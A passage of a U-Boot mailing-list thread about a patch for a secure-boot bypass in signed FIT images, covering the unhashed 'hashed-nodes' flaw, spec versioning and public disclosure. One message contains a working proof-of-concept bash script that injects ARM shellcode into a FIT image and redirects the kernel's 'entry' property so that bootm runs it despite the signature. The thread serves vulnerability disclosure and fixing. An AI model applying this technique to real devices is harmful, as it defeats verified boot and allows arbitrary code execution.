> actually is supported, making incompatibility wider for no reason?
> 
> Not saying it's a bad idea, just that it's not as simple as putting a
> version field in there. Also, I'm assuming this would need to be part of the
> FIT spec. And I'm wondering if this isn't rather a shortcoming of U-Boot
> implementation for FIT signature verification rather than an issue with the
> spec, so why should the spec bump the version if an implementer got it
> wrong?

In this case it looked like the spec itself had shortcomings. Anyway,
with Simons suggestion of not using the hashed-nodes property things
look differently now.

My suggestion wasn't meant to imply that you should broadly reject non
matching versions, there's no reason to reject any unsigned FIT images
when only the signature has changed. A version field would just give you
the possibility to detect incompatibilities before running into errors.

Sascha

-- 
Pengutronix e.K.                           |                             |
Steuerwalder Str. 21                       | http://www.pengutronix.de/  |
31137 Hildesheim, Germany                  | Phone: +49-5121-206917-0    |
Amtsgericht Hildesheim, HRA 2686           | Fax:   +49-5121-206917-5555 |

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Rasmus Villemoes]

On Mon, Mar 02 2026, Tom Rini <trini@konsulko.com> wrote:

> There is a flaw in how U-Boot verifies and generates signatures for FIT
> images. To prevent mix and match style attacks, it is recommended to
> use signed configurations. How this is supposed to work is documented in
> doc/usage/fit/signature.rst.

So the issue at hand is of course bad enough.

But can we please stop pretending that "mix and match" attacks are a
problem with the reguired=image mode, at least compared to the giant
hole which is that the 'entry' property can be modified arbitrarily [1],
including to point at a payload injected to the FIT image itself?

IMO, we should nuke all the code which deals with the required=image
mode and make it a build-time error to have such a key in the control
dtb, it offers no protection at all, and by having all the verification
logic duplicated in _image and _conf versions, it just makes it harder
to spot problems with the verification code in general.

[1] I just did a POC on a beagleboneblack. Add a

int poc_func(int arg) { printf("Got %x news ...\n"); }

function to the U-Boot source code, add a dummy call poc_func(0)
somewhere so it doesn't get gc'ed, then use something like this to
modify a FIT image with signed image nodes. bootm will happily accept
it, and jump to the thunk embedded in the FIT, which in turn will (for
demonstration) call that poc_func and you'll see "Got bad news ..."
printed.

===
#!/bin/bash

FIT_IMAGE=kernel.itb
FIT_KERNEL_PATH=/images/kernel-1
FIT_LOAD_ADDR=0x82000000

# This is only needed because we want to call back into U-Boot for
# demonstration, in practice one would make the payload
# self-contained.
RELOC_OFFSET=0x1f76d000

# Find the address of poc_func function
build_addr=$(nm ../u-boot | grep -w poc_func | awk '{print $1}')

printf -v addr '%08x' $((0x${build_addr} + ${RELOC_OFFSET}))
echo "poc_func post-relocation address: ${addr}"

{
    # movw    r0, #2989       @ 0xbad
    printf '%b' '\x40\xf6\xad\x30'
    # ldr     r3, [pc, #0]
    printf '%b' '\x00\x4b'
    # bx      r3
    printf '%b' '\x18\x47'
    # The constant loaded above
    printf '%b' "\x${addr:6:2}\x${addr:4:2}\x${addr:2:2}\x${addr:0:2}"
    # Add a marker that will help us locate the byte offset in the FIT image of the thunk.
    printf '##exploit code##'
} > code.bin

fdtput -t bx -p "${FIT_IMAGE}" / poc $(xxd -i < code.bin | tr -d ,)
offset=$(grep -a -o --byte-offset '##exploit code##' "${FIT_IMAGE}" | cut -f1 -d:)

# Change the 'entry' property of the kernel image so that it points to the start of our
# payload. That is 12 bytes long, so subtract 11 (because thumb
# mode...). Adjust as necessary.
fdtput -t u "${FIT_IMAGE}" "${FIT_KERNEL_PATH}" entry $((FIT_LOAD_ADDR + offset - 11))

===

Adding a sanity check that 'entry' points somewhere within [$load,
$load+size] could make this harder, but is not enough; there are likely
to be byte sequences in the kernel image that decode as some useful jump
instruction.

Rasmus

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Tom Rini]

[-- Attachment #1: Type: text/plain, Size: 1337 bytes --]

On Mon, Mar 02, 2026 at 04:09:37PM -0600, Tom Rini wrote:

> There is a flaw in how U-Boot verifies and generates signatures for FIT
> images. To prevent mix and match style attacks, it is recommended to
> use signed configurations. How this is supposed to work is documented in
> doc/usage/fit/signature.rst.
> 
> Crucially, the `hashed-nodes` property of the `signature` node contains
> which nodes of the FIT device tree were hashed as part of the signature
> and should be verified. However, this property itself is not part of the
> hash and can therefore be modified by an attacker. Furthermore, the
> signature only contains the name of each node and not the path in the
> device tree to the node.
> 
> This patch reworks the code to address this specific oversight.
> 
> Thanks to Apple Security Engineering and Architecture (SEAR) for
> reporting this issue and then coming up with a fix.
> 
> Reported-by: Apple Security Engineering and Architecture (SEAR)
> Signed-off-by: Tom Rini <trini@konsulko.com>

I just want to thank everyone who has looked in this and worked out
another solution to the problem. This is why our policy is to have
things disclosed in public and worked out in public, and has been an
excellent demonstration of how open source is supposed to work.
Thank you all!

-- 
Tom

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]

Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images

[Quentin Schulz]

Because this has lots of scary words in the title, it may get more eyes 
than usual including from people not used to U-Boot/ML in general.. and 
the other implementation of a bug fix already on the ML doesn't really 
make it obvious they are related, so posting the link here:

https://lore.kernel.org/u-boot/20260304135202.1535134-1-sjg@chromium.org/

Cheers,
Quentin